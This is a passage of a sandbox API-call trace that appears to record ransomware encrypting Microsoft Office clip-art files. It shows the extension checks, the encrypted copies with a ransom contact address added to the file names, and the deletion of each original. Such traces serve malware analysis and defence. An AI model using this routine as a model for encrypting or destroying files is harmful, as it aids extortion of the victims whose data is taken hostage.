(lpString=".doc") returned 4 [0183.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.064] lstrlenW (lpString=".docx") returned 5 [0183.064] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0183.064] lstrlenW (lpString=".pdf") returned 4 [0183.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.064] lstrlenW (lpString=".xls") returned 4 [0183.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.065] lstrlenW (lpString=".xlsx") returned 5 [0183.065] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0183.065] lstrlenW (lpString=".ppt") returned 4 [0183.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.065] lstrlenW (lpString=".zip") returned 4 [0183.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.065] lstrlenW (lpString=".rar") returned 4 [0183.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.065] lstrlenW (lpString=".bz2") returned 4 [0183.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.065] lstrlenW (lpString=".7z") returned 3 [0183.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.065] lstrlenW (lpString=".dbf") returned 4 [0183.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.065] lstrlenW (lpString=".1cd") returned 4 [0183.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.065] lstrlenW (lpString=".jpg") returned 4 [0183.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.065] lstrlenW (lpString=".doc") returned 4 [0183.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.066] lstrlenW (lpString=".docx") returned 5 [0183.066] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0183.066] lstrlenW (lpString=".pdf") returned 4 [0183.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.066] lstrlenW (lpString=".xls") returned 4 [0183.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.066] lstrlenW (lpString=".xlsx") returned 5 [0183.066] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0183.066] lstrlenW (lpString=".ppt") returned 4 [0183.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.066] lstrlenW (lpString=".zip") returned 4 [0183.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.066] lstrlenW (lpString=".rar") returned 4 [0183.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.066] lstrlenW (lpString=".bz2") returned 4 [0183.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.066] lstrlenW (lpString=".7z") returned 3 [0183.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.066] lstrlenW (lpString=".dbf") returned 4 [0183.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.066] lstrlenW (lpString=".1cd") returned 4 [0183.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0183.066] lstrlenW (lpString=".jpg") returned 4 [0183.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.067] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.067] lstrlenW (lpString="J0107452.WMF") returned 12 [0183.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.087] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=21216) returned 1 [0183.087] CloseHandle (hObject=0x36c) returned 1 [0183.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220 [0183.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.088] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.088] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0183.089] GetLastError () returned 0x0 [0183.089] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x52e0, lpOverlapped=0x0) returned 1 [0183.136] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x52f0, lpOverlapped=0x0) returned 1 [0183.137] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.137] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.137] SetEndOfFile (hFile=0x53c) returned 1 [0183.138] CloseHandle (hObject=0x53c) returned 1 [0183.138] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.138] SetEndOfFile (hFile=0x36c) returned 1 [0183.141] CloseHandle (hObject=0x36c) returned 1 [0183.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0183.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.143] lstrlenW (lpString=".doc") returned 4 [0183.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.143] lstrlenW (lpString=".docx") returned 5 [0183.143] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0183.143] lstrlenW (lpString=".pdf") returned 4 [0183.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.143] lstrlenW (lpString=".xls") returned 4 [0183.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.143] lstrlenW (lpString=".xlsx") returned 5 [0183.144] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0183.144] lstrlenW (lpString=".ppt") returned 4 [0183.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.144] lstrlenW (lpString=".zip") returned 4 [0183.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.144] lstrlenW (lpString=".rar") returned 4 [0183.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.144] lstrlenW (lpString=".bz2") returned 4 [0183.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.145] lstrlenW (lpString=".7z") returned 3 [0183.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.145] lstrlenW (lpString=".dbf") returned 4 [0183.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.145] lstrlenW (lpString=".1cd") returned 4 [0183.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.145] lstrlenW (lpString=".jpg") returned 4 [0183.145] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.145] lstrlenW (lpString=".doc") returned 4 [0183.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.145] lstrlenW (lpString=".docx") returned 5 [0183.145] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0183.145] lstrlenW (lpString=".pdf") returned 4 [0183.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.145] lstrlenW (lpString=".xls") returned 4 [0183.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.145] lstrlenW (lpString=".xlsx") returned 5 [0183.145] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0183.145] lstrlenW (lpString=".ppt") returned 4 [0183.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.145] lstrlenW (lpString=".zip") returned 4 [0183.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.145] lstrlenW (lpString=".rar") returned 4 [0183.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.151] lstrlenW (lpString=".bz2") returned 4 [0183.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.151] lstrlenW (lpString=".7z") returned 3 [0183.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.152] lstrlenW (lpString=".dbf") returned 4 [0183.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.152] lstrlenW (lpString=".1cd") returned 4 [0183.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0183.152] lstrlenW (lpString=".jpg") returned 4 [0183.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.152] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.152] lstrlenW (lpString="J0107458.WMF") returned 12 [0183.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.153] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3568) returned 1 [0183.153] CloseHandle (hObject=0x36c) returned 1 [0183.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220 [0183.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.155] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.155] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0183.156] GetLastError () returned 0x0 [0183.156] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xdf0, lpOverlapped=0x0) returned 1 [0183.180] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xe00, lpOverlapped=0x0) returned 1 [0183.182] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.182] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.182] SetEndOfFile (hFile=0x53c) returned 1 [0183.182] CloseHandle (hObject=0x53c) returned 1 [0183.182] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.183] SetEndOfFile (hFile=0x36c) returned 1 [0183.186] CloseHandle (hObject=0x36c) returned 1 [0183.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.187] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1 [0183.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.188] lstrlenW (lpString=".doc") returned 4 [0183.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.188] lstrlenW (lpString=".docx") returned 5 [0183.188] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.188] lstrlenW (lpString=".pdf") returned 4 [0183.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.188] lstrlenW (lpString=".xls") returned 4 [0183.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.188] lstrlenW (lpString=".xlsx") returned 5 [0183.188] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.188] lstrlenW (lpString=".ppt") returned 4 [0183.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.188] lstrlenW (lpString=".zip") returned 4 [0183.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.188] lstrlenW (lpString=".rar") returned 4 [0183.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.188] lstrlenW (lpString=".bz2") returned 4 [0183.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.188] lstrlenW (lpString=".7z") returned 3 [0183.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.188] lstrlenW (lpString=".dbf") returned 4 [0183.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.188] lstrlenW (lpString=".1cd") returned 4 [0183.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.189] lstrlenW (lpString=".jpg") returned 4 [0183.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.189] lstrlenW (lpString=".doc") returned 4 [0183.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.189] lstrlenW (lpString=".docx") returned 5 [0183.189] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.189] lstrlenW (lpString=".pdf") returned 4 [0183.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.189] lstrlenW (lpString=".xls") returned 4 [0183.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.189] lstrlenW (lpString=".xlsx") returned 5 [0183.189] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.189] lstrlenW (lpString=".ppt") returned 4 [0183.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.189] lstrlenW (lpString=".zip") returned 4 [0183.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.189] lstrlenW (lpString=".rar") returned 4 [0183.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.189] lstrlenW (lpString=".bz2") returned 4 [0183.189] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.189] lstrlenW (lpString=".7z") returned 3 [0183.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.189] lstrlenW (lpString=".dbf") returned 4 [0183.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.190] lstrlenW (lpString=".1cd") returned 4 [0183.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68 [0183.190] lstrlenW (lpString=".jpg") returned 4 [0183.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.190] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.190] lstrlenW (lpString="J0107480.WMF") returned 12 [0183.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.191] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6024) returned 1 [0183.191] CloseHandle (hObject=0x36c) returned 1 [0183.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220 [0183.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0183.192] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.192] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0183.193] GetLastError () returned 0x0 [0183.193] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1788, lpOverlapped=0x0) returned 1 [0183.534] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1790, lpOverlapped=0x0) returned 1 [0183.535] ReadFile (in: hFile=0x36c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.535] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.536] SetEndOfFile (hFile=0x53c) returned 1 [0183.536] CloseHandle (hObject=0x53c) returned 1 [0183.536] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.536] SetEndOfFile (hFile=0x36c) returned 1 [0183.540] CloseHandle (hObject=0x36c) returned 1 [0183.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0183.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68 [0183.542] lstrlenW (lpString=".doc") returned 4 [0183.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.542] lstrlenW (lpString=".docx") returned 5 [0183.542] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0183.542] lstrlenW (lpString=".pdf") returned 4 [0183.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.542] lstrlenW (lpString=".xls") returned 4 [0183.542] 